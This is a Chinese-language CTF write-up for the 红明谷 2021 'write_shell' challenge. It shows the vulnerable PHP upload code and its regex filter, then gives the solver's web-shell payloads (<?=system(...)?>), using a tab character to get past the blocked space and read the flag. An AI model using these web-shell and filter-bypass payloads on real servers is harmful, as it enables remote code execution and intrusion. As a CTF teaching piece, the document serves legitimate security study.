[红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

可以看到,对我们做了很多的过滤,但是没过滤反引号,但是system函数是可用的,所以反引号的用处不大,我们先去获取路径

1

我们直接构造payload如下<?=system("ls")?>,这个非常好理解

2

3

我们继续查看根目录的文件,但是这里空格是被过滤的,我们无法写入的而且如果想用&{IFS}也因为{}的过滤而无法实现,而用$IFS代替空格也失败了,这里我用的是制表符,即tab,%09,相当于4个空格

4

最后,<?=system("cat%09flllllll1112222222lag")?>就可以了